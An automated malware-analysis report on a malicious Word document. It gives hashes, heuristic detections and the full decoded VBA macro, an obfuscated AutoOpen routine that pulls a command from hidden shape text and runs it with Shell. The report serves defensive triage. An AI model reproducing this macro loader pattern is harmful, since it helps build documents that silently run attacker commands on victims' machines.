Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8fa53179bfd6fac9…

MALICIOUS

Office (OLE)

132.0 KB Created: 2018-12-11 15:12:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 7dafd4f958365aed45abb7927028ef89 SHA-1: 8e1adb1c48504542c85b90fdd7f1977fded2217f SHA-256: 8fa53179bfd6fac9e611d6188b0fe1c0680c1eb624486702c2344ac91dcff6e7
292 Risk Score

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6780464-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6780464-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
    .Shell(iNSCTI, TTXGvsvwlY), YpwJOT)
       jEkWifJsEnYwAzwP = (82726299 + Round(PAviltqGJonrLhiNHcwNmYJ) * 143492479 - djqnhOkzFkJRETqjcVV + (MbrPnsUTwHrqZD / Tan(KAScZDrFwZvCJFh)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub autoopen()
    stCdG
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4029 bytes
SHA-256: cad9d6b1e6f7329c6654f2f4fa6d2c3c55ee1d5a3c40514ae6394957c00bb26c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
114 of 143 identifiers look randomly generated (e.g. 'UirUjwdMlbIKjWszUXanvhcS') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pZufvXp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
stCdG
End Sub

Attribute VB_Name = "EvZEXHPjOFRrJO"
Function stCdG()
On Error Resume Next
   QUccVjniAdzpVSMpDIqri = (96867817 + Round(hPjSkkIKfpDuAAcA) * 63461298 - kWAKwZAPHKbQzCCKuMpR + (trTTzRYMoaIjMu / Tan(IXRGRUdwiPpArqFQKscqfhq)))
HbDSjSknIKBXuizhQskDJRjW = 226568734
   hznVvodaftcHvjZoujwnkPrt = (287930064 + Round(iUIbOiRvAkmAAPbWtzzcN) * 217959968 - papIlORIudMKJSEiupzj + (CtjjMNVttPVzoTAZZjjibr / Tan(nEREoTEmNzqmjGZZAw)))
BOqNUwEFVJSBNLXvi = 307161133
   zEwMEAMDVGJHFcoXXcXNda = (259188263 + Round(aOaIhcFvMHjmSbIkWKBLbiPZ) * 327547991 - ctrkJWQzmqZEVtAOuwvBEwT + (rTZbXvwAKpzLEczKWVpRLS / Tan(HLNjRdvmjZEsqzpZqsYtjt)))
JSAlfjGCbYiRQKLjXOCSmz = 235474022
Const TTXGvsvwlY = 0
   sPWPwhHjVOkudmTtjYSQPTuo = (137476650 + Round(biIjvVffinnSwrrGkODEtQ) * 173681678 - LrMijYUhuHFcYlSO + (wDjGQbaYIijkQvLEv / Tan(EIwvKTFYpmPizvpouMt)))
uPmJbpnziLuXcNO = 39508843
   wNmjZjfiYhszIvRU = (326897875 + Round(MFIiikaKYmTPdG) * 285406424 - wiSDHzqJuwNFVCijH + (pzCRjCIOLtOJEmGqznBuvMPw / Tan(fXVpVDmHiQtPfvQusowvl)))
awfDvfNDciEhDfmZpqcBaWM = 177045031
   QVBArjZMkNRskG = (223422626 + Round(MjaiwJPYBtEaYwc) * 138199916 - loNBtWRfCQVBriIqcI + (YAEGGczwiwomkwWzSTD / Tan(KJDtstWJOvkvpBwVhh)))
YuYmjOikFUfqWYo = 111238818
Set KNMFpjjOt = pZufvXp.Shapes(OWBki + "RHSSEMqSwR" + XTuSEpC)
   DpXSwmCppSprhviWWTTu = (197391770 + Round(chutJsZjCwaiQGwkMtFV) * 209075131 - INvqXUaYAzAYMq + (FdKQJPtQzibamHaoIzY / Tan(jzTVEGdvdistFMHPvFW)))
OwwMvuoRaIrZoRrHKpLClz = 258474038
   SaSbjEAEmJJhtaVfKjDv = (29521153 + Round(CWBjNtBqsjdnrE) * 55375231 - tKQLdimWOhkXERjdYNXvaA + (HCvQaEFjRXYptitaYkiRjI / Tan(lbCzOdjMLtUJIiNMSIwT)))
jbnzfnwLviJzYJ = 274645535
   jZbKuDpJFIPCIzlOKASojz = (292944596 + Round(FnmUAVnuuOjljzoVhfIIch) * 218674908 - tATuczEkjkFHRVIjUU + (uRAiKLzGDqjNXGQ / Tan(ABsSvJvFwuhDMWYoHZm)))
tVJjisAtzXhABtI = 225312088
   zTbCRjjpLdpROIcTnFCwr = (186408517 + Round(chAkSbkqzDDFpaFJiB) * 84055567 - jAvqFYQKjqJtVzw + (RwNObnqNLCmshvYuiV / Tan(bmJitLZGJuJkqblsfnwfw)))
hfCmXdoROOzPXhHU = 129270672
   sMOGPooHhUMrRinjNYor = (3263641 + Round(RjNjUXLbAzbHSHhWzoZWDVu) * 279988458 - pUzwCRlcBuitjUQwFU + (QJPfCqYzSimvlWLi / Tan(LfzhpiQNzcQTIa)))
BhaKZpzFiRTwOzwWXqMkaWfa = 201941028
   kwVADPDwzEAHOBNOQP = (7178230 + Round(UirUjwdMlbIKjWszUXanvhcS) * 300825989 - IkwfJprcBFGBRGlrMVvqb + (IPusoNBmCZazotPGSSSDVnr / Tan(GUBEVHWDIQbhlQAdb)))
DhaRRsbGDdXXWVYbl = 136053904
iNSCTI = KNMFpjjOt.TextFrame.TextRange + uCXqYR + BRocGj + pCJdPEtf + GIJijRiz + DatbslB + uQmOjwS + CqJrFd
   OzrfkoXIoMGLdtsSRDZHmvW = (47940313 + Round(jAEtaXjsSGQYnppC) * 18009934 - vFXRoQCRVNUHTck + (EoSPOpaSLmcuiNjFjo / Tan(BoPLoqIBSYKnonUlBjn)))
FiEFCoInIiOYfAiipdiYFnI = 304471323
   juTkPrABUfKRjHEAZEGzfsN = (293151794 + Round(IXJtuPEZYDXCapLAA) * 52141114 - lawcZLUcNiLrjb + (GTrIZPGrHEhzzOuzi / Tan(MHqMvjianqvNMqbHjsIsh)))
ijoYsNVNTfjGTUctXHZzb = 104067896
   sjNlTPNojqSURN = (137264596 + Round(qpibqEbmCiPKTTjOmHWF) * 219952281 - ibPulwbiaiztKbaTLnFbjoz + (VMGEiKrPvvGCMw / Tan(dKTElKaJInTwiAGLtc)))
ZYrXAQmkwPUYGPUc = 110789896
NsvDzRON = Array(OpjMZ, XulnT, wZbunPNh, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(iNSCTI, TTXGvsvwlY), YpwJOT)
   jEkWifJsEnYwAzwP = (82726299 + Round(PAviltqGJonrLhiNHcwNmYJ) * 143492479 - djqnhOkzFkJRETqjcVV + (MbrPnsUTwHrqZD / Tan(KAScZDrFwZvCJFh)))
CoROCsaApuQAwtTr = 7109336
   LGNGrHRNdOslnoMoQwjJr = (316963420 + Round(VpJntkIHznUpqMuIBaC) * 103976213 - FwVKXOSBYIrPirRiT + (dVGuzSwWbWqfipjGQqn / Tan(WVqGYfcaIVcZhCYuLKBC)))
BnwLtZCjcabvqBIf = 4457370
   UmKafalFqLQjiMsmGiAWj = (118032456 + Round(XbiBrAjMnuzZOT) * 108099095 - piFzYvIEUJIqOlbwCi + (zwYtFHzdmlmiTpJKriTjcT / Tan(histzCSwXjjRYRlzqYSV)))
hioAFbjUiBKfSqKNOB = 178132168
End Function